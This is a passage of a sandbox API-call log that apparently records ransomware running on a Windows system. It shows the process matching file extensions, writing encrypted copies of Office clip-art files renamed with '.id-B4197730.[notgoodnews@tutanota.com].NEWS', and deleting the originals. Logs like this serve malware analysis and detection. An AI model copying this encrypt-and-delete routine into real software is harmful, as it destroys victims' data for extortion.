[0083.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0083.329] lstrlenW (lpString=".doc") returned 4 [0083.329] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.329] lstrlenW (lpString=".docx") returned 5 [0083.329] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.329] lstrlenW (lpString=".pdf") returned 4 [0083.329] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.329] lstrlenW (lpString=".xls") returned 4 [0083.329] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.329] lstrlenW (lpString=".xlsx") returned 5 [0083.329] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.329] lstrlenW (lpString=".ppt") returned 4 [0083.329] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0083.329] lstrlenW (lpString=".zip") returned 4 [0083.329] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.329] lstrlenW (lpString=".rar") returned 4 [0083.329] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.329] lstrlenW (lpString=".bz2") returned 4 [0083.329] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.329] lstrlenW (lpString=".7z") returned 3 [0083.329] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0083.329] lstrlenW (lpString=".dbf") returned 4 [0083.329] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0083.329] lstrlenW (lpString=".1cd") returned 4 [0083.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0083.329] lstrlenW (lpString=".jpg") returned 4 [0083.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.330] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0083.330] lstrlenW (lpString="DD01140_.WMF") returned 12 [0083.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0083.330] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=3616) returned 1 [0083.330] CloseHandle (hObject=0x374) returned 1 [0083.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x220 [0083.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0083.330] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.330] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0083.331] GetLastError () returned 0x0 [0083.331] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xe20, lpOverlapped=0x0) returned 1 [0083.333] WriteFile (in: hFile=0x33c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xe30, lpOverlapped=0x0) returned 1 [0083.334] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0083.334] WriteFile (in: hFile=0x33c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0083.334] SetEndOfFile (hFile=0x33c) returned 1 [0083.334] CloseHandle (hObject=0x33c) returned 1 [0083.334] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.334] SetEndOfFile (hFile=0x374) returned 1 [0083.335] CloseHandle (hObject=0x374) returned 1 [0083.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0083.335] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 1 [0083.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0083.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0083.335] lstrlenW (lpString=".doc") returned 4 [0083.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.336] lstrlenW (lpString=".docx") returned 5 [0083.336] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.336] lstrlenW (lpString=".pdf") returned 4 [0083.336] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.336] lstrlenW (lpString=".xls") returned 4 [0083.336] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.336] lstrlenW (lpString=".xlsx") returned 5 [0083.336] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.336] lstrlenW (lpString=".ppt") returned 4 [0083.336] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0083.336] lstrlenW (lpString=".zip") returned 4 [0083.336] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.336] lstrlenW (lpString=".rar") returned 4 [0083.336] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.336] lstrlenW (lpString=".bz2") returned 4 [0083.336] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.336] lstrlenW (lpString=".7z") returned 3 [0083.336] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0083.336] lstrlenW (lpString=".dbf") returned 4 [0083.336] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0083.336] lstrlenW (lpString=".1cd") returned 4 [0083.336] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0083.336] lstrlenW (lpString=".jpg") returned 4 [0083.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0083.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0083.336] lstrlenW (lpString=".doc") returned 4 [0083.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.336] lstrlenW (lpString=".docx") returned 5 [0083.337] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.337] lstrlenW (lpString=".pdf") returned 4 [0083.337] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.337] lstrlenW (lpString=".xls") returned 4 [0083.337] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.337] lstrlenW (lpString=".xlsx") returned 5 [0083.337] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.337] lstrlenW (lpString=".ppt") returned 4 [0083.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0083.337] lstrlenW (lpString=".zip") returned 4 [0083.337] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.337] lstrlenW (lpString=".rar") returned 4 [0083.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.337] lstrlenW (lpString=".bz2") returned 4 [0083.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.337] lstrlenW (lpString=".7z") returned 3 [0083.337] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0083.337] lstrlenW (lpString=".dbf") returned 4 [0083.341] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0083.341] lstrlenW (lpString=".1cd") returned 4 [0083.341] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0083.341] lstrlenW (lpString=".jpg") returned 4 [0083.341] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.341] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0083.341] lstrlenW (lpString="DD01143_.WMF") returned 12 [0083.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0083.342] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=2140) returned 1 [0083.342] CloseHandle (hObject=0x374) returned 1 [0083.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 0x220 [0083.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0083.342] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.342] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0083.342] GetLastError () returned 0x0 [0083.342] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x85c, lpOverlapped=0x0) returned 1 [0083.344] WriteFile (in: hFile=0x33c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x860, lpOverlapped=0x0) returned 1 [0083.345] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0083.345] WriteFile (in: hFile=0x33c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0083.345] SetEndOfFile (hFile=0x33c) returned 1 [0083.345] CloseHandle (hObject=0x33c) returned 1 [0083.345] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.345] SetEndOfFile (hFile=0x374) returned 1 [0083.346] CloseHandle (hObject=0x374) returned 1 [0083.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0083.346] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 1 [0083.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0083.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0083.346] lstrlenW (lpString=".doc") returned 4 [0083.346] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.346] lstrlenW (lpString=".docx") returned 5 [0083.346] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.346] lstrlenW (lpString=".pdf") returned 4 [0083.347] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.347] lstrlenW (lpString=".xls") returned 4 [0083.347] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.347] lstrlenW (lpString=".xlsx") returned 5 [0083.347] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.347] lstrlenW (lpString=".ppt") returned 4 [0083.347] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0083.347] lstrlenW (lpString=".zip") returned 4 [0083.347] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.347] lstrlenW (lpString=".rar") returned 4 [0083.347] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.347] lstrlenW (lpString=".bz2") returned 4 [0083.347] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.347] lstrlenW (lpString=".7z") returned 3 [0083.347] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0083.347] lstrlenW (lpString=".dbf") returned 4 [0083.347] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0083.347] lstrlenW (lpString=".1cd") returned 4 [0083.347] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0083.347] lstrlenW (lpString=".jpg") returned 4 [0083.347] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0083.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0083.347] lstrlenW (lpString=".doc") returned 4 [0083.347] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.347] lstrlenW (lpString=".docx") returned 5 [0083.347] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.347] lstrlenW (lpString=".pdf") returned 4 [0083.347] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.347] lstrlenW (lpString=".xls") returned 4 [0083.347] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.348] lstrlenW (lpString=".xlsx") returned 5 [0083.348] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.348] lstrlenW (lpString=".ppt") returned 4 [0083.348] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0083.348] lstrlenW (lpString=".zip") returned 4 [0083.348] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.348] lstrlenW (lpString=".rar") returned 4 [0083.348] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.348] lstrlenW (lpString=".bz2") returned 4 [0083.348] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.348] lstrlenW (lpString=".7z") returned 3 [0083.348] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0083.348] lstrlenW (lpString=".dbf") returned 4 [0083.348] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0083.348] lstrlenW (lpString=".1cd") returned 4 [0083.348] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0083.348] lstrlenW (lpString=".jpg") returned 4 [0083.348] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.349] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0083.349] lstrlenW (lpString="DD01145_.WMF") returned 12 [0083.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0083.349] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=2780) returned 1 [0083.349] CloseHandle (hObject=0x374) returned 1 [0083.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x220 [0083.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0083.350] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.350] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0083.350] GetLastError () returned 0x0 [0083.350] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xadc, lpOverlapped=0x0) returned 1 [0083.352] WriteFile (in: hFile=0x33c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xae0, lpOverlapped=0x0) returned 1 [0083.353] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0083.353] WriteFile (in: hFile=0x33c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0083.353] SetEndOfFile (hFile=0x33c) returned 1 [0083.353] CloseHandle (hObject=0x33c) returned 1 [0083.353] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.353] SetEndOfFile (hFile=0x374) returned 1 [0083.354] CloseHandle (hObject=0x374) returned 1 [0083.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0083.354] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 1 [0083.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0083.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0083.354] lstrlenW (lpString=".doc") returned 4 [0083.354] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.354] lstrlenW (lpString=".docx") returned 5 [0083.354] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.354] lstrlenW (lpString=".pdf") returned 4 [0083.354] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.355] lstrlenW (lpString=".xls") returned 4 [0083.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.355] lstrlenW (lpString=".xlsx") returned 5 [0083.355] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.355] lstrlenW (lpString=".ppt") returned 4 [0083.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0083.355] lstrlenW (lpString=".zip") returned 4 [0083.355] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.355] lstrlenW (lpString=".rar") returned 4 [0083.355] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.355] lstrlenW (lpString=".bz2") returned 4 [0083.355] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.355] lstrlenW (lpString=".7z") returned 3 [0083.355] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0083.355] lstrlenW (lpString=".dbf") returned 4 [0083.355] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0083.355] lstrlenW (lpString=".1cd") returned 4 [0083.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0083.355] lstrlenW (lpString=".jpg") returned 4 [0083.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0083.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0083.355] lstrlenW (lpString=".doc") returned 4 [0083.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.355] lstrlenW (lpString=".docx") returned 5 [0083.355] lstrcmpiW (lpString1=".docx", 